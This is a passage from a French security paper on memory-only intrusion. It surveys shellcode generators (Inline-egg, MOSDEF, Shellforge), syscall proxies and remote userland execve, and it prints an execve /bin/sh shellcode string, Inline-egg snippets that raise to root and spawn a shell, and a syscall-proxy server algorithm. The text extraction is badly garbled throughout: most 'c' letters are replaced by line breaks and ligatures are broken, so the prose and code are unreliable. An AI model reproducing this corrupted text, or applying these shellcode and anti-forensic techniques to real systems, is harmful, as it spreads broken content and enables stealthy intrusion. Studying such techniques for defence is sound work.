s dans le sens où l'attaquant développe des

shell
odes évolués en prenant soin de ne rien é
rire sur le disque. Le plus souvent, 
es shell
odes

fon
tionnent en 2 parties (un serveur et un 
lient). Après avoir exploité un pro
essus sur une ma-


hine distante, un shell
ode est lan
é et attend des données (des portions de 
ode représentées le

plus souvent par des shell
odes) du 
lient distant. Le 
ode reçu, il le 
harge et l'exé
ute soit dans

son propre espa
e d'adressage soit dans l'espa
e d'adressage d'un autre pro
essus. Tout se passe en

mémoire.

Développer de tels shell
odes à la � main � serait presque de la folie furieuse. Des outils sont

don
 apparus. Ils permettent globalement à partir d'un simple programme C ou Python d'obtenir

un shell
ode, aussi 
omplexe soit il.

Con
ernant l'étape 4 � augmentation de privilièges �, elle ne sera pas tout le temps né
essaire.

Si le serveur exploité a des droits su�sants pour réaliser les opérations désirées, il ne sera pas né
es-

saire d'augmenter 
eux-
i (typiquement à l'aide d'un exploit lo
al). Dans le 
as 
ontraire, il faudra

augmenter les privilèges. Cette partie étant un peu spé
iale, elle sera uniquement abordée lors de

la partie sur Plato qui est l'implémentation proposée dans 
et arti
le pour réaliser une intrusion

uniquement en mémoire.



336

L'étape 5 � e�a
er les tra
es � ne sera pas abordée dans 
et arti
le. Il est évident que si une

intrusion informatique se déroule uniquement en mémoire, il n'y aura presque pas de tra
es sur

le système. De plus, les éventuelles tra
es laissées sur le disque dépendent fortement des types

d'exploits utilisés, des servi
es visés et surtout du niveau de 
ompéten
e de l'attaquant. A noter

tout de même qu'un administrateur vigilant (
e qui n'est pas le 
as à la �gure 1) pourrait très

bien véri�er 
e qui se trouve en mémoire, 
'est tout à fait possible mais plus di�
ile. Ce point sera

abordé à la �n de l'arti
le dans la partie sur les prote
tions.

3 Exé
ution à distan
e et te
hniques existantes

Il a été question de shell
odes. Certaines te
hniques ont pour obje
tif de pouvoir les exé
uter

sur une ma
hine distante. Un shell
ode n'est en fait qu'une suite d'instru
tions déjà préparées à

être exé
utées. Mais il peut être question de binaire 
omplet (nmap par exemple) à ré
upérer et

exé
uter. C'est le r�le des sys
all proxy et des remote userland exe
ve. Il existe un point 
ommun

entre 
es te
hniques, 
elui de ne jamais rien é
rire sur le disque.

3.1 E
riture de payloads

Inline-egg Inline-egg [5℄ est un module python qui fournit à l'utilisateur un ensemble de 
lasses

permettant d'é
rire des shell
odes plus fa
ilement, le ve
teur d'attaque et la te
hnique d'exploitation

devant dans 
e 
as être é
rit aussi en python. Il est développé par Gera de la so
iété Core-Se
urity.

Une version GPL est disponible sur le site de la so
iété

3

mais Inline-egg a aussi été intégré dans le

logi
iel Core-Impa
t

4

.

D'habitude, les shell
odes sont la plupart du temps é
rit dire
tement en assembleur. Une fois


ompilés, ils sont insérés dans l'exploit sous forme de 
haines de 
ara
tères :


har shell
ode[℄=

"\x31\x
0\x50\x68//sh\x68/bin\x89\xe3"

"\x50\x53\x89\xe1\x99\xb0\x0b\x
d\x80";

Ce shell
ode exé
ute simplement /bin/sh. Pour modi�er 
e shell
ode, par exemple pour lui

ajouter un setuid(0) et setgid(0), il est né
essaire de tou
her au 
ode assembleur, de le re
ompi-

ler et de 
hanger la 
haîne de 
ara
tères dans l'exploit. Si pour de petits shell
odes 
omme 
elui là


e n'est pas en
ore trop 
ontraignant, inutile de dire que 
e n'est pas le 
as pour des shell
odes plus


omplexes. Une 
ertaine souplesse lors de la 
réation de shell
odes est don
 la bienvenue. Inline-egg

part de 
ette 
onstatation.

L'idée d'Inline-Egg est de 
réer des shell
odes en 
on
aténant simplement des appels système

(ou sys
alls), fa
ilitant ainsi le 
hangement des arguments passés aux appels système. Si on veut

un shell
ode (ou egg) exé
utant /bin/sh juste après un appel à setuid(), il su�t de 
on
aténer


es deux appels système pour 
réer le shell
ode :

setuid(0)

exe
ve('/bin/sh',('sh','-i'))

3

http://www.
orese
urity.
om

4

http://www.
orese
urity.
om/produ
ts/
oreimpa
t/index.php
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Il su�t de reproduire 
et en
hainement en python en utilisant Inline-Egg qui 
ompilera le 
ode

en assembleur :

#!/usr/bin/python

from inlineegg.inlineegg import *

import so
ket

import stru
t

import sys

def stdinShellEgg():

egg = InlineEgg(Linuxx86Sys
all)

egg.setuid(0)

egg.setgid(0)

egg.exe
ve('/bin/ls',('ls','-la'))

return egg

...

Le shell
ode ainsi 
réé 
omporte 3 appels système. Il est possible de 
ette manière de 
on
aténer

autant d'appels système qu'il en existe. Cependant, le version GPL d'Inline-egg n'est pas terminée,

tous les appels système ne sont pas implémentés. Malgré tout, il permet déjà d'utiliser un 
ertain

nombre d'entre eux 
omme 
eux en rapport à la 
ou
he réseau, un bind shell
ode pouvant être

implémenté en quelques lignes simplement.

Inline-egg ne se 
ontente pas seulement d'o�rir la possibilité de 
on
aténer des appels système,

il est également possible d'utiliser des bou
les (while, do-while), des 
onditions if et même de


réer ses propres fon
tions. Par exemple une 
ondition peut être 
réée de 
ette manière :

uid = egg.getuid()

no_root = egg.If(uid, '!=', 0)

no_root.write(1,'You are not root!\n', len('You are not root!\n'))

no_root.exit(1)

no_root.end()

egg.write(1,'You are root!\n', len('You are root!\n'))

Une dernière 
hose intéressante ave
 Inline-egg est la possibilité de 
réer des shell
odes pour

plusieurs systèmes d'exploitations di�érents (tous sous une ar
hite
ture i386) : Linux, Freebsd,

Openbsd, Solaris et Windows. Con
ernant Windows, il n'y a pas d'appels système à proprement

parler. Les appels système doivent plut�t être vus 
omme n'importe quelles fon
tions dans n'importe

quelles librairies (ou dll). Pour pouvoir utiliser Inline-egg 
ontre un système Windows, il sera

né
essaire de fournir deux adresses de fon
tions, 
elles de LoadLibrary et deGetPro
essAddress

qui se trouvent dans la librairie kernel32.dll. Il existe plusieurs méthodes pour 
onnaître 
es

adresses (traverser la liste des librairies en mémoire et regarder la table d'export, utiliser des valeurs

hard
odé par servi
e pa
k, ...), néanmoins l'utilisation d'Inline-egg pour la 
réation de shell
ode

Windows n'est pas en
ore assez fon
tionnelle, du moins pour 
e qui est de la version open sour
e

d'Inline-egg
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MOSDEF MOSDEF est l'abréviation de � Most De�nitely �. Cet outil a été développé par Dave

Aitel, fondateur de la so
iété Immunityse
 
élèbre pour son outil CANVAS et sa mailing list Daily

Dave.

MOSDEF permet lui aussi d'envoyer des shell
odes à une ma
hine 
ible lors d'une exploitation.

Cependant 
ontrairement à Inline-egg ou à Shellforge (qui sera vu après), il permet d'envoyer plu-

sieurs shell
odes vers la ma
hine 
ible. Il fon
tionne en mode 
lient-serveur, 
'est à dire que lors

d'une exploitation, un serveur est installé dans la mémoire du pro
essus exploité. Il s'agit d'un

multi-stage shell
ode, un shell
ode en plusieurs étapes. Lors d'une exploitation, par exemple ave


un bu�er over�ow, il arrive souvent qu'il n'y ait pas assez d'espa
e dans le bu�er 
ontr�lé. L'idée

est alors d'envoyer un petit shell
ode qui va attendre sur une so
ket un shell
ode plus avan
é. Ce

deuxième shell
ode pourra alors être pla
é sur la pile où il y a moins de 
ontraintes d'espa
e et

sera exé
uté par le premier shell
ode. Il est ainsi possible d'exé
uter plusieurs shell
odes dans le

pro
essus exploité.

MOSDEF utilise 
e prin
ipe, mais il est également un 
ompilateur C et un assembleur é
rit en

python. C'est à dire que 
e ne sont pas de simples shell
odes qui sont envoyés mais du 
ode res-

semblant à du C 
ompilé ave
 MOSDEF. Le langage C 
réé n'est pas aussi puissant que le langage

C 
onnu, mais o�re néanmoins 
ertaines fon
tionnalités basiques 
omme l'utilisation de tableaux,

fon
tions, bou
les while et if. Le 
ode C 
réé est 
ompilé du 
�té 
lient, envoyé au serveur et

exé
uté dans l'espa
e d'adressage du pro
essus.

Le prin
ipal problème de MOSDEF vient du fait qu'implémenter un 
ompilateur n'est pas si

aisé. Si l'attaquant souhaite exé
uter du 
ode 
omplexe sur la ma
hine 
ible, il ne pourra le faire

ave
 MOSDEF. Par exemple utiliser l'appel système ptra
e() est impossible. Il faudra également


onnaître la syntaxe du langage C 
réé pour pouvoir l'utiliser. Pour �nir, la version open sour
e est

non-do
umentée et il semble di�
ile de l'utiliser tel quelle.

Shellforge Shellforge est un générateur de shell
odes ou payloads développé en python par Phi-

lippe Biondi. La version a
tuelle est la version G2 [4℄ en
ore en pré-release mais ave
 l'immense

avantage d'être multi-plateformes.

Comment fon
tionne Shellforge ? D'un point de vue utilisateur, 
'est assez simple. Il su�t de

lui fournir un programme en C, et Shellforge le transforme dire
tement en payload. Seulement le

�
hier sour
e C doit avoir quelques spé
i�
ités : toutes les variables globales doivent être dé
larées

en statique de manière à ne pas utiliser la GOT

5

, il ne doit pas y avoir de dé
laration in
lude et

il est né
essaire 
ertaines fois d'utiliser les fon
tions internes à Shellforge (par exemple 
elles qui

permettent le traitement des adresses IPs). Une fois le payload obtenu, Shellforge o�re plusieurs

options d'a�
hages qui vous permettent de le ré
upérer sous forme de 
haines de 
ara
tères (
omme

il est 
ourant de le voir dans un exploit), en mode raw ou dans un �
hier sour
e C.

D'un point de vue ar
hite
ture 
'est un peu plus 
ompliqué. Avant d'expliquer 
omment fon
-

tionne Shellforge, il est né
essaire de faire un bref rappel sur la dé
laration des appels système. Sur

5

Global O�set Table
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une plate-forme Linux, 
haque appel système est représenté par un nombre dé
laré dans le �
hier

/usr/in
lude/asm/unistd.h :

#define __NR_exit 1

#define __NR_fork 2'

#define __NR_read 3

#define __NR_write 4

Et 
haque appel système peut être appelé ave
 les ma
ros dé�nies dans 
e même �
hier, à


ondition de 
onnaître le nombre d'arguments dont il a besoin. Pour l'appel système setuid() par

exemple :

#define __NR_setuid 23

#define _sys
all1(type,name,type1,arg1) \

type name(type1 arg1) \

{ \

long __res; \

__asm__ volatile ("int $0x80" \

: "=a" (__res) \

: "0" (__NR_##name),"b" ((long)(arg1))); \

__sys
all_return(type,__res); \

}

stati
 inline _sys
all1(int, setuid, int, uid)

Shellforge pro
ède de la même façon, il appelle les appels système dire
tement en utilisant par


ontre ses propres ma
ros (les numéros des appels système restant les mêmes) :

#define _sfsys
all1(type,name,type1,arg1) \

type name(type1 arg1) \

{ \

long __res; \

__asm__ volatile ("pushl %%ebx\n\t" \

"mov %2,%%ebx\n\t" \

"int $0x80\n\t" \

"popl %%ebx" \

: "=a" (__res) \

: "0" (__NR_##name),"g" ((long)(arg1))); \

__sfsys
all_return(type,__res); \

Ces ma
ros ont l'avantage par rapport à 
elle de la Lib
 de pouvoir extraire errno de la valeur

de retour, et de préserver le registre %ebx.

Pour toutes 
es dé
larations, Shellforge utilise la librairie s�ib et pour 
haque ar
hite
ture il

existe un répertoire :

� hpux_hppa,
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� linux_arm,

� linux_i386,

� linux_mips,

� linux_powerp
,

� ma
os_powerp
,

� solaris_spar
,

� freebsd_i386,

� linux_alpha,

� linux_hppa,

� linux_m68k,

� linux_mipsel,

� linux_spar
,

� openbsd_i386.

Dans 
haque répertoire sont présents 3 �
hiers, le �
hier sfsysnr.h pour les numéros des ap-

pels système, le �
hier sfsys
all.h pour les ma
ros et le �
hier s�ib.h pour les prototypes (pour


haque __NR_name, name() est dé
laré dans 
e �
hier). Il est évident que pour ajouter une

plate-forme supportée par Shellforge, il su�t de 
réer un nouveau répertoire dans s�ib ave
 les

trois �
hiers .h qui vont bien.

Ensuite, pour obtenir à partir d'un �
hier sour
e C un shell
ode pour l'ar
hite
ture souhaitée,

il su�t d'utiliser l'option �ar
h en ligne de 
ommande :

shellforge.py -C --ar
h=freebsd_i386 hello.


C'est aussi simple que 
ela.

Après avoir généré le shell
ode, Shellforge o�re des fon
tionnalités qui permettent de le trans-

former. Il su�t de spé
i�er sur la ligne de 
ommande le loader souhaité :

� XOR loader,

� alphanumeri
 loader,

� sta
k relo
ation loader.

Ces loaders qui dépendent du pro
esseur peuvent être 
hainés ensemble.

Nous avons utilisé assez souvent Shellforge pour développer l'outil que nous allons présenter

à SSTIC, pour être d'avis que 
'est 
ertainement le générateur de payloads le plus puissant dans

sa dis
ipline (et 
e n'est pas pour être 
hauvin

6

). Il est portable et il o�re une grande souplesse

de fon
tionnement : tests des shell
odes fa
iles à mettre en oeuvre, modi�
ations rapides et sans


onnaitre l'assembleur. Shellforge a été testé ave
 un shell
ode multi-stage et une fon
tion read()

qui attendait en entrée un payload pour l'exé
uter. Il a été possible aussi de 
oder un shell
ode

qui inje
te une libraire dans un pro
essus, 
e dont les autres générateurs sont in
apables. Le seul

� sou
i � ren
ontré est l'utilisation des fon
tions de la Lib
 qui ne sont pas des appels système tel

quememset(),mem
py() et
 (
e que Philippe Biondi appelle des idioms [5℄ et qui sont dépendants

du pro
esseur). La solution, en tout 
as sur un système Linux, est d'utiliser les implémentations

fournies dans la glib
. Pour memset() par exemple, il existe le �
hier glib
-2.3.2/string/test-

memset.
 dans lequel il y a une implémentation simpliste :

6

En tous les 
as pour Samuel, François étant belge, ça ne le tra
asse pas beau
oup :-)



341


har *

simple_memset (
har *s, int 
, size_t n)

{


har *r = s, *end = s + n;

while (r < end)

*r++ = 
;

return s;

}

3.2 Sys
all proxy

Rappel sur les appels système

Fon
tionnement d'un point de vue utilisateur

Le système d'exploitation o�re aux pro
essus s'exé
utant en mode utilisateur un ensemble d'in-

terfa
es lui permettant d'interagir ave
 les dispositifs matériels tels que le pro
esseur, les disques,

les imprimantes, et
. Les systèmes UNIX implémentent l'essentiel des interfa
es entre le pro
essus

en mode utilisateur et le matériel par le biais d'appels système émis vers le noyau. Il faut faire

la di�éren
e i
i entre une API

7

et un appel système. La première est une dé�nition de fon
tions

spé
i�ant 
omment obtenir un servi
e donné, alors que le se
ond est une requête expli
ite faite au

noyau via une interruption logi
ielle.

Sous Linux, la prin
ipale API est la Glib
 (GNU Library C ). Cette librairie o�re un ensemble

de fon
tions agissant 
omme des interfa
es vers les appels système du noyau. Elle agit 
omme un

wrapper.

Pour mieux illustrer 
e prin
ipe, voi
i un exemple :

$ 
at example.


int main(void)

{

printf("Fon
tion printf ! \n");

return 0;

}

$ g

 -o example example.


$ ./example

Fon
tion printf !

$

example.
 est un simple programme qui a�
he une 
haîne de 
ara
tères à l'é
ran. Pour voir


e qu'il se passe au niveau des appels système lors de son exé
ution, il su�t d'utiliser la 
ommande

stra
e qui tra
e les signaux et les appels système d'un programme en exé
ution.

$ stra
e ./example

1: exe
ve("./example", ["./example"℄, [/* 34 vars */℄) = 0

7

Appli
ation Programmer Interfa
e
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2: uname({sys="Linux", node="Joshua", ...}) = 0

...

9: open("/lib/lib
.so.6", O_RDONLY) = 3

10: read(3,"\177ELF\1\1\1\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20U\1\000"...,512)

= 512

...

21: mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,

-1, 0) = 0x40017000

22: write(1, "Fon
tion printf ! \n", 19) = 19

23: munmap(0x40017000, 4096) = 0

24: exit_group(0) = ?

$

La sortie de la 
ommande stra
e montre les di�érents appels système utilisés par le binaire

example : exe
ve() permet de lan
er le programme, open() ouvre le �
hier /lib/lib
.so.6 qui

représente la Lib
 né
essaire au bon fon
tionnement du programme (tout programme 
ompilé ave


la Lib
 possède une ligne similaire). La ligne 22 est la plus intéressante :

22: write(1, "Fon
tion printf ! \n", 19) = 19

L'appel système write() est utilisé ave
 3 arguments. Sa dé�nition d'après la page man est la

suivante :

ssize_t write(int fd, 
onst void *buf, size_t 
ount);

Le premier argument est le des
ripteur de �
hiers. Il représente dans l'exemple stdout qui est

la 
onsole. Le deuxième argument est la 
haîne de 
ara
tères à imprimer. Et le troisième est la taille

de 
ette dernière. La fon
tion printf() a don
 bien été transformée en un appel système write()

ave
 les bons paramètres.

Fon
tionnement d'un point de vue noyau

La gestion d'un appel système dans le noyau est réalisée par le gestionnaire des appels système,

qui réalise prin
ipalement les opérations suivantes :

1. Il sauvegarde le 
ontenu de la plupart des registres dans la pile noyau.

2. Il invoque la routine de servi
e de l'appel système.

La table des appels système est enregistrée dans le tableau sys_
all_table et 
ontient 255

entrées. Chaque entrée de 
ette table 
ontient l'adresse de la routine de servi
e 
orrespondante

(exit() pour la première entrée, fork() pour la se
onde, ...). A 
haque appel système 
orrespond

don
 un numéro. Au moment d'en appeler un, l'interruption 0x80 est levée et le 
ontr�le est donné

au gestionnaire.

La fon
tion system_
all() implémente 
e fameux gestionnaire. Il 
ommen
e par sauvegarder

sur la pile le numéro de l'appel système ainsi que tous les registres du pro
esseur sus
eptibles d'être
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utilisés par le gestionnaire

8

, les paramètres de l'appel système étant passés par les registres dans le


as où 5 arguments maximum sont né
essaires. Dans le 
as 
ontraire (ave
 l'appel systèmemmap()

par exemple), les paramètres sont passés par la pile (ou sta
k) puisqu'il n'y a pas assez de registres.

La routine de servi
e de l'appel système 
orrespondant au numéro sto
ké dans le registre eax

est ensuite appelée.

Un exemple valant mieux qu'un long dis
ours, le programme suivant démontre en assembleur


omment faire appel à un appel système, en l'o

uren
e dans 
et exemple sys_open() qui ouvre

le �
hier /boot/System.map :

$ /bin/
at sys_open.


#in
lude <linux/unistd.h>

#in
lude <sys/types.h>

#in
lude <sys/stat.h>

#in
lude <f
ntl.h>

#define FILENAME "/boot/System.map"

int

main( void )

{

long __res;

__asm__ volatile ("int $0x80"

: "=a" (__res)

: "0" (__NR_open), "b" (FILENAME), "
" (O_RDONLY) );

}

$ make sys_open



 sys_open.
 -o sys_open

$ stra
e ./sys_open

[...℄

munmap(0x40014000, 14874) = 0

getpid() = 354

open("/boot/System.map", O_RDONLY) = 3

_exit(3) = ?

Les appels système (ou sys
alls) sont la base du fon
tionnement de la te
hnique appelée sys
all

proxy. Celle-
i est une des deux grandes te
hniques permettant d'exé
uter des binaires sur une

ma
hine distante sans jamais rien é
rire sur le disque.

Théorie du sys
all proxy La première implémentation du 
on
ept du sys
all proxy a été dé-

veloppée par Maximiliano Ca
eres (est-
e l'inventeur du 
on
ept ?) de la so
iété Core Se
urity

8

Certains registres sont en fait sauvegardés automatiquement par l'unité de 
ontr�le 
omme e�ags, 
s,

eip, ss et esp.
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Te
hnologies et a été utilisée dans leur produit phare Core-Impa
t, un outil de tests de pénétration.

Le sys
all proxy a 
ertainement été la première te
hnique évoluée pour exé
uter des binaires sur

la ma
hine distante tout en restant en mémoire. Son prin
ipe est simple : appeler un appel système

sur une ma
hine distante depuis une ma
hine lo
ale. Plusieurs appels système 
on
aténés ensemble

représentent l'exé
ution d'un programme à l'image des shell
odes 
réés ave
 Inline-egg. Pour ouvrir,

lire et fermer un �
hier par exemple, trois appels système sont utilisés : open(), read() et 
lose()

ave
 les paramètres qui vont bien (�gure 2). Le programme (un exploit par exemple) n'est don
 pas

télé
hargé sur le système distant mais exé
uté lo
alement grâ
e à la 
ou
he d'abstra
tion fournie

par le sys
all proxy. Celui-
i joue le r�le d'interfa
e entre le pro
essus (pour la ma
hine lo
ale)

et le système d'exploitation (pour la ma
hine distante). Le pro
essus ne 
ommunique don
 plus

dire
tement ave
 l'OS sous-ja
ent mais via la nouvelle interfa
e sys
all formalisée (�gure 3).
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Fig. 2. Le
ture d'un �
hier par un pro
essus

A noter que seuls les appels système sont exé
utés sur la ma
hine distante, tout le traitement

arithmétique (une addition par exemple), les bou
les, les 
onditions, l'allo
ation mémoire, et
 sont

faits sur la ma
hine lo
ale.memset() ou str
py() par exemple n'ont au
un intérêt d'être exé
utés

sur la ma
hine distante. Il est évident par 
ontre que l'algorithme du programme ne 
hangera pas

quelle que soit la ma
hine (lo
ale ou distante). La seule di�éren
e est ave
 quels privilèges seront

appelés les appels système.

Implémentation d'un sys
all proxy D'après le rappel sur les appels système, leurs exé
utions

se déroulent en trois étapes : le numéro de l'appel système et les arguments à fournir, l'exé
ution

de l'appel système et la valeur de retour à ré
upérer.
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Fig.3. Le
ture d'un �
hier par un pro
essus à travers un sys
all proxy

La première étape est le r�le du 
lient sys
all proxy. Pour 
haque appel système, il 
onstruit une

requête que 
omprendra le serveur dans laquelle sont renseignés le numéro de l'appel système, et ses

arguments. Il adapte le 
ode ou la 
ommande à invoquer dire
tement aux 
ontraintes et 
onventions

du serveur.

Le serveur sys
all proxy reçoit la requête, l'interprète 
omme il se doit, 
'est à dire qu'il 
opie

sur la pile les arguments et le numéro de l'appel système (registre eax) et lève l'interruption 0x80.

Les privilèges évoqués plus t�t, ave
 lesquels s'exé
ute l'appel système sont 
eux du pro
essus ayant

lan
é le serveur sys
all proxy.

La troisième et dernière étape est de renvoyer au 
lient sys
all proxy les résultats retournés par

l'exé
ution de l'appel système. Cela peut être par exemple la valeur du �le des
riptor dans le 
as

d'un open(), ou bien en
ore le bu�er 
ontenant les données dans le 
as d'un read().

Le serveur sys
all proxy est la plupart du temps un shell
ode lan
é après l'exploitation d'un pro-


essus et don
 résident en mémoire. Des méthodes d'optimisation [6℄ sont utilisées pour le rendre

le plus petit possible.

Le 
lient sys
all proxy peut lui être représenté sous forme de librairie qui hook les appels système

appelés par le programme via la librairie Lib
. Ces hooks 
onstruisent les requêtes à envoyer au

serveur sys
all proxy en fournissant les informations né
essaires et ré
upèrent les résultats renvoyés

par 
e serveur. Cette librairie peut être 
hargée via la variable d'environnement LD_PRELOAD

de manière à ne jamais avoir à modi�er le �
hier sour
e.

CORE-IMPACT CORE-IMPACT est un produit 
ommer
ial. N'ayant pu le tester, les informa-

tions qui suivent sont tirées de l'arti
le de Ni
olas Fis
hba
h intitulé � Les tests de pénétration
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automatisés : CORE-IMPACT � paru dans le magazine MISC n°11.

Les serveurs sys
all proxy sont livrés dans le produit sous forme d'agents. Ils peuvent être ins-

tallés de manière éphémère et dis
rète sur le système distant après exploitation de la vulnérabilité.

Ces agents obtiennent les droits du pro
essus qui a été exploité et vont exé
uter 
e qui est appelé

dans CORE-IMPACT des modules (re
her
he d'information, augmentation de privilèges, et
). Les

agents se doivent d'être sûrs pour éviter de rendre l'infrastru
ture testée plus vulnérable et don


d'augmenter les risques de 
ompromission par des tiers.

Ces agents ont plusieurs niveaux d'appli
ation, allant du niveau 0 au niveau 3. Les agents de

niveau 0 s'exé
utent en mémoire seulement, 
omprennent un mini-serveur sys
all proxy et dès que

l'on se déta
he de 
elui-
i, il se détruit. Une fois 
et agent installé, il est possible d'exé
uter un

mini-shell qui fournit quelques 
ommandes de base. L'agent de niveau 1 est plus 
omplexe (il o�re

beau
oup plus de fon
tionnalités) et don
 plus di�
ile à déployer. La manière la plus automatisée


onsiste à déployer un agent de niveau 0, lui faire obtenir les droits maximum (administrateur ou

root) pour pouvoir ensuite l'upgrader en agent 1. C'est en quelque sorte un multi-stage shell
ode

ave
 élévation de privilèges entre le premier et le se
ond shell
ode. Un détail important 
ependant à

noter. A la di�éren
e de l'agent de niveau 0, 
elui de niveau 1 installe temporairement des �
hiers

sur le système. Le troisième agent, le lo
alagent de niveau 3 est le point de départ (agent sour
e)

de tout test de pénétration. Il est don
 �xe et intégré dans la 
onsole IMPACT. C'est à partir de


et agent que s'exé
uteront les modules séle
tionnés.

UW_sp_xxx_x86 Casek du groupe Uberwall a présenté lors d'une 
onféren
e au CCC des im-

plémentations de sys
all proxy. Le serveur est sous forme d'un shell
ode (qui est supposé être exé
uté

après exploitation d'un pro
essus sur une ma
hine distante) et implémenté selon l'algorithme de

Maximilio :

1: channel ← set_up_
ommuni
ation()

2: channel .send(ESP)

3: while channel.has_data() do

4: request← channel.read()

5: 
opy request in sta
k

6: pop registers

7: int 0x80

8: push EAX

9: channel.send(sta
k)

10: end while

Algorithme 1 : Simple serveur pour un sys
all proxy

Le 
lient prépare la pile lo
alement, pa
kage le tout sous forme de requête qu'il envoie au serveur

distant. Celui-
i exé
ute la requête du 
lient et lui renvoie les résultats. Plusieurs shell
odes sont

implémentés, l'algorithme du sys
all proxy est toujours la même, seule la manière dont il est exé
uté

di�ère (en mettant un port sur é
oute, en réutilisant la même so
ket, et
).
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C�té 
lient, i
i aussi l'algorithme est toujours identique (préparation de la pile, et
). Seules les

fon
tionnalités 
hangent : s
anner de port, infe
tion d'un pro
essus à distan
e, et
. Pour dévelop-

per ses 
lients, il a utilisé la librairie UWsplib (qu'il identi�e 
omme étant une ultra light lib
) dans

laquelle 
haque appel système est réimplémenté : sp_open(), sp_read(), et
. Il est 
ependant

important de noter que :

1. Il est regrettable que 
ette librairie ne soit pas fournie en tant que ... librairie. D'après les

sour
es disponibles sur le site d'Uberwall, toutes 
es fon
tions sp_xxx() sont implémentées

dans 
ha
un de ses 
lients sys
all proxy.

2. Dans le 
as de 
lients légers, 
ette démar
he peut 
onvenir. Mais dans le 
as où il est né
essaire

d'exé
uter nmap par exemple, réé
rire un tel outil ave
 les fon
tions sp_xxx() peut s'avérer

très lourd.

Il est évident qu'utiliser une librairie via la variable d'environnement LD_PRELOAD aurait

été beau
oup plus judi
ieux. Casek parle justement dans sa présentation (slide 25) de la librairie

UWskyzoexe
 mais 
'est apparemment au stade de développement.

3.3 Userland exe
ve

La deuxième grande te
hnique pour exé
uter des binaires sur un système distant est appelée

remote userland exe
ve. I
i l'exé
ution du binaire n'est pas dé
omposée entre la ma
hine 
liente et

le serveur, le binaire est 
omplètement envoyé dans la mémoire de la ma
hine distante, puis exe
uté.

Des
ription d'un exe
ve Les fon
tions de la famille exe
 (exe
l(), exe
lp(), exe
le(), exe
v(),

exe
vp()) sont utilisées pour exé
uter un binaire. Elles utilisent toutes l'appel système exe
ve().

Lors d'un appel à 
elui-
i dans un programme, l'image du pro
essus est rempla
é par l'image du

binaire à exé
uter. En 
lair, le programme qui appelle exe
ve() est retiré de la mémoire et le

binaire à exé
uter est 
hargé. Le segment de 
ode, le segment de données, la pile ainsi que la heap

sont rempla
és. Par 
onséquent, exe
ve() ne retourne pas à l'an
ien pro
essus puisque toutes les

stru
tures de 
e dernier ont été é
rasées par le nouveau binaire. Pour pouvoir retourner à l'an
ien

pro
essus, il faut utiliser un fork(), de la même manière que la fon
tion system() de la Lib
. Lors

d'un appel à 
ette fon
tion, le pro
essus est dédoublé à l'aide d'un fork() et 
'est le �ls qui invoque

exe
ve(). Le pro
essus père peut don
 
ontinuer à fon
tionner.

Le rempla
ement de l'image du pro
essus se déroule en plusieurs étapes. Tout d'abord, exe
ve()

unmap toutes les pages qui forment l'espa
e d'adressage du pro
essus 
ourant. Le nouveau pro-

gramme est ensuite 
hargé en mémoire. Si 
e dernier est un programme dynamique, il utilise don


des libraries (
ontrairement aux binaires statiques), l'éditeur de liens dynamique doit alors être


hargé en mémoire aussi. La pile est initialisée ave
 les variables d'environnement, les autres para-

mètres né
essaires à la fon
tionmain() et les paramètres né
essaires à l'éditeur de liens dynamiques.

La �gure 4 représente l'état de la pile lors d'un appel à exe
ve().
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Fig.4. Etat de la pile lors d'un appel à exe
ve()

En haut de la pile, il y a les variables d'environnements et les arguments. Ensuite, si le binaire

est un binaire dynamique, un ve
teur auxv (de type Elf_aux) est présent. Ce ve
teur 
ontient

les informations né
essaires à l'éditeur de liens dynamiques. Si le binaire est un binaire statique,


e ve
teur est absent. En dessous, se trouve les tableaux de pointeurs vers les variables d'environ-

nement (envp) et les arguments (argv). En�n, il y a arg
 tout en bas de la pile représentant le

nombre d'argument.

Si l'éditeur de liens dynamiques est présent et 
hargé en mémoire, le point d'entrée (entry point)

pointe vers lui. Dans le 
as 
ontraire, 
e sera simplement le point d'entrée du binaire lui-même.

Des
ription d'un exe
ve() en userland Le problème prin
ipal ave
 l'appel système exe
ve()

est qu'il né
essite la présen
e du binaire sur le disque. L'autre sou
i est la possibilité qu'il soit inter-

dit par un mé
anisme de sé
urité tel qu'un pat
h noyau, empê
hant l'exé
ution du binaire. L'idée

intéressante est don
 de simuler le 
omportement d'un appel système exe
ve() pour exé
uter un

binaire déjà présent en mémoire. De 
ette manière, le binaire n'est pas é
rit sur le disque et au
une

tra
e n'est laissée.
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L'implémentation d'un exe
ve() en espa
e utilisateur doit e�e
tuer toutes les étapes normale-

ment réalisées par l'appel système exe
ve() :

1. Unmapper les pages 
ontenant l'an
ien pro
essus

2. Si le binaire est un binaire dynamique, 
harger en mémoire l'éditeur de liens dynamiques

3. Charger le binaire en mémoire

4. Initialiser la pile

5. Déterminer le point d'entrée

6. Transférer l'exé
ution au point d'entrée

Remote userland exe
ve L'idée d'un remote userland exe
ve est simplement d'exé
uter un bi-

naire sur la ma
hine 
ible sans rien é
rire sur le disque. A la pla
e d'exé
uter un binaire présent sur

le disque, le binaire est envoyé via une so
ket par le réseau, ré
eptionné dans l'espa
e d'adressage

du pro
essus, et exé
uté.

Une autre utilisation intéressante est de pouvoir exé
uter un exploit lo
al. Une fois que l'atta-

quant a pris possession d'une ma
hine à l'aide d'une faille dans Apa
he par exemple, il se retrouve à


e moment dans l'espa
e d'adressage du pro
essus Apa
he qui tourne ave
 les droits nobody. L'atta-

quant souhaite alors obtenir les permissions root pour installer sa ba
kdoor. Il dispose d'un exploit

lo
al qui lui permettra d'augmenter ses privilèges. Il l'envoie sur la ma
hine distante et l'exé
ute

via le remote userland exe
ve sans jamais l'é
rire sur le disque.

Bien sûr, la plupart des exploits lo
aux permettent d'obtenir un shell ave
 les droits root. Il

existe des s
énarios où l'attaquant ne souhaite pas de shell root puisque qu'il préfère rester en

mémoire pour laisser le moins de tra
es possibles. L'exploit lo
al, à la pla
e de lan
er un shell,

pourra don
 par exemple donner les droits root au pro
essus Apa
he exploité. De 
ette manière,

l'attaquant disposera d'un pro
essus Apa
he ave
 les pleins droits lui permettant d'exé
uter tout


e qu'il désire (par exemple insérer un module dans le noyau à partir de 
e pro
essus sans jamais

l'é
rire sur le disque).

Ul_exe
 et rexe
 La première implémentation publique d'un userland exe
ve est 
elle développée

par The Grugq [18℄. Sa librairie, Ul_exe
, permet d'exé
uter des binaires dynamiques sans l'aide de

exe
ve. Les 6 étapes présentées au point 3.3.2 sont respe
tées pour arriver à 
e résultat. A 
e jour,

la librairie Ul_exe
 est la seule permettant d'exé
